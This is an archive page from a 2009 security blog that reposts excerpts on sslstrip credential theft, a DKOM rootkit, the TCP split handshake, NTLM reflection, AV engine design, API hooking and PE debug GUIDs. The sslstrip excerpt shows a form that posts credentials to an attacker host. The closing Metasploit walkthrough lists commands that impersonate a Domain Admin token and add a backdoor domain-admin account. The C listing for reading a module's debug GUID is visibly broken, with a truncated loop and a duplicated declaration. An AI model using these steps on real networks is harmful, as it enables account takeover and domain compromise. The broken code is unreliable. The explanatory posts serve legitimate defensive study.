Archive for December, 2009

HTTP POST -> HTTPS = Bad Idea®

Posted in Uncategorized with tags , , , on 28 December, 2009 by c0llateral

Cool taken from Paul Makowski of my 20% blog.

This will be a quick post (pun not intended) on why you should never allow anything sensitive to be sent from an unsecured page to an SSL-encrypted page. Many, many websites do this (Digg & Facebook quickly come to mind), and it’s a serious problem that has an easy solution.

When a user logs into a service, she has a reasonable expectation her credentials will be secured in transit. In the context of web applications, this means SSL.

A typical Facebook login goes like this:
1. Adam requests http://www.facebook.com
2. Facebook sends a response with:

<form method=“POST” action=”https://login.facebook.com/login.php?login_attempt=1″name=“menubar_login” id=“menubar_login”>

3. Adam enters his credentials and hits Login.

The problem with this is how does Adam know that the form he intends to submit to facebook.com is actually destined for facebook.com? As stated in step 2, facebook.com will return code to instruct Adam’s browser to post to an SSL secured page owned by Facebook. But what kind of assurance does Adam have that this is the code he received?

Consider the following scenario: Mallory uses something like ettercap on her university’s dorm network: she poisons the subnet traffic (her entire dorm building), tricking her fellow students’ computers to send all internet-bound traffic through her.

Mallory then uses Moxie Marlinspike’s sslstrip to automate an attack against Facebook. sslstrip will replace any responses from facebook.com with something like:

<form method=“POST” action=“http://www.attacker.com/”>

Unless Adam looked at the source code of the alleged response from facebook.com, he would be unaware that his credentials were actually going to be send to Mallory’s malicious web host.

After harvesting the credentials, Mallory continues employing sslstrip to make (possiblly SSL-secured) page requests on behalf of Adam, staying in the middle of the conversation and reading everything unencrypted on the wire. Or she could just reset the connection, forcing Adam to legitimately log in. After all, she got what she set out for; why let Adam continue to consume her resources?

The solution? Only offer login pages over SSL. Pretty simple :)

DKOM Opens Door to Malware Rootkits

Posted in Rootkits with tags , , on 27 December, 2009 by c0llateral

I love this one found it in McAfee’s blog posted by Romain Levy

Much malware comes with a kernel rootkit component. Subverting the Windows kernel is indeed the best way to conceal malicious activities on infected systems. To achieve this, many types of malware load malicious device drivers that enjoy full access to all kernel objects. However, this technique is somewhat noisy, and loading a new driver is not really stealthy.

At McAfee Labs we recently ran across a W32/IRCBot.gen.ac sample that uses Direct Kernel Object Manipulation (DKOM) to hide itself without loading a new driver. This technique seems impossible at first sight because modifying kernel memory pages from userland is not allowed. However, W32/IRCBot.gen.ac takes advantage of an undocumented function exported by ntdll.dll that provides debugging functionalities at the kernel level.

NtSystemDebugControl(), despite being undocumented, has been known for many years. It provides simple functions such as reading from and writing to any location within the kernel memory. And this is exactly what a piece of malware needs to manipulate kernel objects.

W32/IRCBot.gen.ac starts by checking what version of Windows it’s running on. This technique won’t work under Windows Vista or Windows 7. If the infected machine is not running Windows XP, W32/IRCBot.gen.ac gives up and doesn’t try to hide itself.

If it does find Windows XP, W32/IRCBot.gen.ac opens the current process’ token to ensure it has the SeDebugPrivilege, which is required to call NtSystemDebugControl().

To find the process list in the kernel memory, W32/IRCBot.gen.ac retrieves the address of the global variable PsInitialSystemProcess, which points to the EPROCESS structure of the system process.

W32/IRCBot.gen.ac can now find the process list in memory and go through it to find its own process. It then removes itself from the process list by calling NtSystemDebugControl() to write to kernel memory.

The malicious process is no longer visible in the Windows Task Manager or other tools such as Process Explorer. However, monitoring TCP connections will quickly reveal the presence of an offending process whose name can’t be found.

Rootkit Detective also detects processes hidden via DKOM.

Accessing kernel memory from userland is really bad, but it appears this hole has been plugged in later versions of Windows. Using this method of calling NtSystemDebugControl() to access kernel memory is not trivial, and we don’t expect this technique to be used widely. And this is a good thing because according to Artemis, Windows XP is still the most widely deployed operating system in corporate environments. My colleagues Igor Muttik and Dmitry Gryaznov, and Joel Yonts of Advanced Auto Parts demonstrated this during McAfee’s Focus 09 conference.

Nevertheless, I offer another reminder that the bad guys never hesitate to exploit any feature, whether documented or not, as long as they can gain control over innocent machines.

Log into privileged user accounts only when required, and keep your anti-virus software up to date!


TCP Portals: The Handshake’s a Lie!

Posted in Uncategorized with tags , , on 27 December, 2009 by c0llateral

A friend of mine recently demonstrated during a lunch break (two cheeseburgers I think) a tool sending only a SYN as a response to another SYN to initialize a reverse TCP connection. I really hate protocols, I prefer application stuff, exploits or subverting kernel always look like a magic to me, but there is a protocol that I really love, TCP. Whenever I read a real practical hack that can work I stick with it for days. Anywayz I dont know who discovered it first this guy from BreakingPoint Labs or my buddy. I will reference only BreakingPoint Labs because the other guy actually is working on it so it is a closed work for now.

Posted by Tod Beardsley (2009/11/11)

If you’ve spent any reasonable amount of time around network protocols, you’re probably familiar with some version of this diagram:

3 way handshake

Here, we see the client on the left starting up a conversation with the server on the right. All pretty normal and familar, right? Well, when I was reviewing the RFC again, I noticed something very, very, odd. Disturbing, even. Allow me to quote at some length:

  The synchronization requires each side to send its own initial
  sequence number and to receive a confirmation of it in acknowledgment
  from the other side.  Each side must also receive the other side's
  initial sequence number and send a confirming acknowledgment.

    1) A --> B  SYN my sequence number is X
    2) A <-- B  ACK your sequence number is X
    3) A <-- B  SYN my sequence number is Y
    4) A --> B  ACK your sequence number is Y

  Because steps 2 and 3 can be combined in a single message this is
  called the three-way (or three message) handshake.

Do you see what I see? Because I’m thinking, “this is not a three-way handshake. This is a four-way handshake.” The handshake is a lie, born of coalescing steps 2 and 3.

Now, surely, if I just decided to ACK a SYN, then send my own SYN, that couldn’t possibly work, right? Enter PacketFu, my little Ruby library for crafting packets. Turns out, 28 years or so after this RFC was written, clients behave rather strangely when you decide to actually honor ol’ RFC 793. After some experimentation, I have a pretty decent proof-of-concept stack that behaves like so:

4 way handshake

This is the point where things get a little weird. What’s happening here is:

    1) A --> B  SYN my sequence number is X
    2) That's nice. I'm not going to bother to ack that, because...
    3) A <-- B  SYN my sequence number is Y.
    4) A --> B  ACK your sequence number is Y, and my sequence number is X.
    5) A <-- B ACK your sequence number is X

Does this work? You betcha! Take a look at the packet captures, collected from Linux (stock Ubuntu), Apple (stock OSX), and Microsoft (stock Windows XP). These three desktop operating systems are all totally cool with this crazy backwards TCP portal.

But what does it mean? Is this simply a parlor trick, where you can reverse the roles of client and server? How does this affect stateful firewalls? How about inspection devices like IPSes, which often need to have an idea of who the “real” client and server are? How about NAT devices, where the idea of “relatedness” is absolutely tied up with where SYN packets come from.

Clearly, there is a ton of testing work to be done here. Lucky for me, I happen to work at a really advanced testing equipment manufacturer, so I’ve dropped this nugget in the next StrikePack. Now, strikes can employ the “SneakAckHandshake” TCP override option, and all servers simulated will behave in accordance with this crazy backwards handshake. We’ll see how well network inspection gear detects clientside attacks when the client is tricked into behaving like a server.



Blackhat Demo Explained

Posted in Exploits, Windows API with tags , , on 27 December, 2009 by c0llateral

It was a hot morning approx. 9 in Vegas waiting for the John’s McDonald and Chris’ Valasek lecture about Heap Exploitation, it was an advanced lecture, and dizzy I was, so I didn’t understand much. Those guys posted a demo explanation about the attack. You can also download their paper. BHUSA09-McDonald-WindowsHeap-PAPER

Posted by Chris Valasek on December 09, 2009 at 11:08 AM EST.

Introduction

As several of you may or may not remember, John McDonald and I did a presentation this year at BlackHat on Practical Windows Heap Exploitation. In this presentation we had a video that claimed to show reliable heap exploitation on Windows Server 2003 lacking a fully controlled environment. Now that our advisory is published we can finally prove to you that the video was not fake; explaining the vulnerability and some of our techniques. Read more »

Reflecting on NTLM Reflection

Posted in Windows API with tags , , on 27 December, 2009 by c0llateral

I found an interesting article this morning about NTLM reflection attack on IBM security blog

Posted by Takehiro Takahashi on December 17, 2009 at 2:51 PM EST.

Since late 2008, Microsoft has been releasing updates for ‘NTLM reflection attack’ which allows an attacker to use a victim’s NTLM credentials in order to gain access to the victim’s shared resources. These updates correct programs’ behavior to use Microsoft’s protection mechanism against the reflection attack. Here is a quick list of applications fixed in last 12 months:

MS08-068 SMB remote code execution
MS08-076 Windows media component remote code execution
MS09-013 Windows HTTP Service remote code execution
MS09-042 Telnet remote code execution

After reviewing MS08-076, we spent some time auditing other applications that support the NTLM authentication protocol, and discovered Mozilla Firefox, Opera and Google Chrome were all vulnerable to the reflection attack. As of 12/17/09, all three vendors have already released updates for their products, and a security advisory has been published from Mozilla.

Unfortunately, none of these patches, as pointed out by H D Moore, protects users from reflection attacks when multiple victims are involved (i.e. attacker’s server relays VictimA’s credential to VictimB). This happens because the scope Microsoft’s NTLM reflection attack protection is local only, and the NTLM protocol provides no provision for protecting users from the reflection attack. One can imagine any Active Directory based networks are seriously affected by this issue.

In this article we discuss the internals of NTLM authentication in detail in order to understand the full extent of the problem. For readers’ convenience, we refer to two types of reflection attacks as two-party reflection attack and multi-host reflection attack. In a two-party reflection attack, attacker uses a stolen credential against the same victim, where as in a multi-host reflection attack, the credential is forwarded to a host other than the original victim. Last but not least, IBM ISS customers have been protected against both types of reflection attack by NTLM_MultiProto_Reflection since April 14, 2009.
Read more »

Building an Anti-Virus engine

Posted in Uncategorized on 27 December, 2009 by c0llateral

This one is taken from Megapanzer

Building an Anti-Virus engine (by Markus Schmall, 2002)

The article will describe the basic ideas, concepts, components and approaches involved in developing an anti-virus program from scratch from a developer’s/software engineer’s point of view. It will focus on the main elements of an anti-virus engine (hereafter referred to as AV engine) and will exclude aspects like graphical user interfaces, real-time monitors, file system drivers and plug-ins for certain application software like Microsoft Exchange or Microsoft Office. Although AV engines running/scanning for single platforms (such as Palm OS or EPOC/Symbian OS) can be designed in the same way, this article will focus on designing multi-platform scanning engines, which are far more complex.


Overview

Currently, innovations in AV engines consist primarily of minor changes to existing engines. Complete redesigns of overall engine concepts are rarely seen. One exception is the highly respected Kaspersky AntiVirus (AVP) version 4.0, which was released in early 2002.

The main parts of an AV engine are typically compiled based on the same source code for various platforms, which may have differences in the byte order (little/big endian), CPUs and general requirements on aligned code. All of these considerations must be kept in mind when developing the concept of an AV engine, as the platform on which the engine is designed to run will be a central design consideration. As well, when developing a new AV engine from the ground up, the following consideration or requirements must be considered:

  • Targeted platforms
  • Programming language
  • File access
  • Required modularity.

Targeted Platforms
Read more »

Using Import Address Table hooking for testing

Posted in Rootkits with tags , , on 27 December, 2009 by c0llateral

Continuing my previous post about IAT hooking I found in Johannes blog again a nice code for IAT hooking.

For a procedure that is free of side effects, it is a relatively easy task to create a unit test that achieves sufficient code coverage by testing all (or at least all interesting) combinations of input data and verifying the computed results.

If, however, the procedure is not free of side effects, the state (global variables, external data, etc.) modified by the procedure has to be taken into account. A solid testcase has to test both the effects of the state on the correctness of the procedure and the correctness of the procedure’s modifications on the state. As a consequence, the testcase has to initialize the state to a ‘known state’ before running each test and validate the state after each test.

If the state can be queried and easily modified by the testcase’s initialization code to construct the individual testing scenarios, writing such a testcase may be laborious but does not pose a real problem. Things are a little different if the state is outside of the programmers control or at least hard to query and alter. This case is especially common when writing code that interfaces the operating system — a common example may be a library that uses the filesystem or the registry to query and modify data. While both filesystem and registry are accessibly to the testing code, several problems arise:

  1. The state is unknown on test case startup. Any affected files/keys have to be initialized to a defined state first.
  2. Parts of the data may be unaccessible for security reasons. As an example, the procedure under test may need to read settings from HKLM. The affected keys under HKLM thus belong to the state that affects the execution of the procedure and our test case needs to run the procedure using different initial states, i.e. using different values for the keys in HKLM. But, as the testcase should be able to run as normal user (maybe to ensure LUA compliance), modifying these keys is forbidden.
  3. The state may be altered concurrently by other programs running on the same system.

Such a test case may easily contain more code initializing and validating state (key and file creation/deletion etc) than actual test code. Needless to say, creating such test cases is a pain.

Read more »

Userland hooking, IAT

Posted in Rootkits with tags , on 27 December, 2009 by c0llateral

I remember I had a conversation a few weeks ago with tweekier (this guy is a paing in the ass, he always makes me think) and a flash occured in my mind; I ‘ve never done a userland hooking the rootkit way. I have used several times the SetWindowsHookEx, I hooked some kernel functions, but boy I ‘ve never done it for a userland rootkit. I was dazed and confused during the x-mas hangovers so I didn’t want to think. I found a very good article from awarenetwork.org

[==============================================================================]
[---------------------------[ Userland API Hooking ]---------------------------]
 S0ban>   -  -- -   - - - = == ================================================]

       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __
  ##############/�_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>"<######
  *#########(   )####*
   ##########>.<#####
    ################
     *############*
       "T######T"

0. Overview  ------------------------------------------------------------------]

API hooking is essentially the act of intercepting an API function call, and
modifying it's functionality somehow, either by redirecting it to a function
of our choice, or stopping the function from being called, or logging the
request... the possibilities are endless. This is useful for cracking
applications, especially when the application does gay stuff like hardcode
API offsets (funny story, that...) and check itself for integrity in memory.

Unfortunately, API hooking under Windows - without going down the rabbit hole
of Kernel Mode Programming - has long been a poorly documented subject. What
little documentation is available is often incomplete or erroneous, and based
more than theory than in practice, basically without adequate information for
someone to actually implement a working API hook.
 Read more »

Uniquely Identifying a Module’s Build

Posted in Windows API with tags on 27 December, 2009 by c0llateral

I remember once having a conversation with tweekier whether there is an effective way to verify if a build is valid and compiled from a trusted source. Surfing around found this post on Johannes’ Passing blog

It is common practice to embed a version resource (VS_VERSIONINFO) into PE images such as DLL and EXE files. While this resource mainly serves informational purposes, the version information is occasionaly used to perform certain checks, such as verifying the module’s suitability for a particular purpose.

Under certain circumstances, however, this versioning information may be too imprecise: Versions are not necessarily incremented after each build, so it is possible that two copies of a module carry the same versioning information, yet differ significantly in their implementation. In such situations, identifying the actual build of the module might become neccessary.

The most common, but by no means the only situation in which this applies in practice concerns debugging — to identify the PDB file exactly matching a given module, the debugger must be able to recognize the specific build of a module. It thus does not come as a surprise that all images for which debugging information has been generated contain a dedicated identifier for this purpose: The CodeView signature GUID.

Summarizing what Oleg Starodumov has covered in more detail, cl, when directed to generate a PDB file, implicitly creates this GUID and, along with the path to the PDB file, embeds this data into the PE image. For current versions, the relevant structure used to encode this information is CV_INFO_PDB70, which seems to have been documented once, but not any more:


    typedef struct _CV_INFO_PDB70
    {
      ULONG CvSignature;
      GUID Signature;
      ULONG Age;
      UCHAR PdbFileName[ ANYSIZE_ARRAY ];
    } CV_INFO_PDB70, *PCV_INFO_PDB70;

In order to be able to locate the structure within the PE image, a directory entry of type IMAGE_DEBUG_TYPE_CODEVIEW is written to the image’s debug directory. The following code listing demonstrates how to obtain the signature GUID of an image:


    #define PtrFromRva( base, rva ) ( ( ( PUCHAR ) base ) + rva )

    static PIMAGE_DATA_DIRECTORY GetDebugDataDirectory(
      __in ULONG_PTR LoadAddress
      )
    {
      PIMAGE_DOS_HEADER DosHeader =
        ( PIMAGE_DOS_HEADER ) ( PVOID ) LoadAddress;
      PIMAGE_NT_HEADERS NtHeader = ( PIMAGE_NT_HEADERS )
        PtrFromRva( DosHeader, DosHeader->e_lfanew );
      ASSERT ( IMAGE_NT_SIGNATURE == NtHeader->Signature );

      return &NtHeader->OptionalHeader.DataDirectory
          [ IMAGE_DIRECTORY_ENTRY_DEBUG ];
    }

    NTSTATUS GetDebugGuid(
      __in ULONG_PTR ModuleBaseAddress,
      __out GUID *Guid
      )
    {
      PIMAGE_DATA_DIRECTORY DebugDataDirectory;
      PIMAGE_DEBUG_DIRECTORY DebugHeaders;
      ULONG Index;
      ULONG NumberOfDebugDirs;
      ULONG_PTR ModuleBaseAddress;
      NTSTATUS Status;

      DebugDataDirectory  = DebugDataDirectory( ModuleBaseAddress );
      DebugHeaders    = ( PIMAGE_DEBUG_DIRECTORY ) PtrFromRva(
        ModuleBaseAddress,
        DebugDataDirectory->VirtualAddress );

      ASSERT( ( DebugDataDirectory->Size % sizeof( IMAGE_DEBUG_DIRECTORY ) ) == 0 );
      NumberOfDebugDirs = DebugDataDirectory->Size / sizeof( IMAGE_DEBUG_DIRECTORY );

      //
      // Lookup CodeView record.
      //
      for ( Index = 0; Index CvSignature != 'SDSR' )
        {
          //
          // Weird, old PDB format maybe.
          //
          return STATUS_xxx_UNRECOGNIZED_CV_HEADER;
        }

        *Guid = CvInfo->Signature;
        return STATUS_SUCCESS;
      }

      return STATUS_xxx_CV_GUID_LOOKUP_FAILED;
    }

Hunting for Domain Admin Tokens

Posted in Metasploit with tags , on 26 December, 2009 by c0llateral

Another one from Joshua’s blog that actually reminds me of the infamous token kidnapping found by Cesar Cerrudo Argeniss

Penetration Assessments are a focused effort to accomplish one or more goals within a limited timeframe. It is often helpful to automate tasks to put time on your side. This is where a penetration tester who can code, really excels! Less time is wasted on mundane tasks. Automation is always key. Automating the tasks that should be automated. It is clear that there are specific tasks that can’t/shouldn’t be automated, but that is a topic for another post.

One nice example is the need to find a machine with a Domain Admin’s token on it. The token can be impersonated to compromise the network. Finding the token can takes hours of manually work. Joshua mentioned this to HD Moore he added a plugin to Metasploit that automates this process. To use this new functionality, we start by exploiting a ton of Windows boxes using meterpreter as the payload.

Next, we need to build a list of users that are within the Domain Admins groups. This list can be generated using:

net groups "Domain Admins" /domain

Example of the file:

COMPANY\joe-admin
COMPANY\bill-admin
COMPANY\david-admin

We then need to load the token_hunter module in Metasploit and execute it. The token_hunt_user script will tell us which sessions contain a Domain Admin token.

msf> load token_hunter
msf> token_hunt_user -f /tmp/domain-admin.txt

To achieve Domain Admin privileges, we need to connect to a session that contained a Domain Admin token.
msf> sessions -i [session-with-domain-admin-token]

Once connected to the session, we then impersonate the Domain Admin and spawn cmd.exe with the admin’s privileges.

meterpreter> impersonate_token 'COMPANY\joe-admin'
meterpreter> execute -f cmd.exe -H -c -i -t

Lastly, we add a new account to the domain and add the account into the Domain Admins group.

C:\net user hack0r h4ck0r) /add /domain
C:\net group "Domain Admins" hack0r /add /domain
Follow

Get every new post delivered to your Inbox.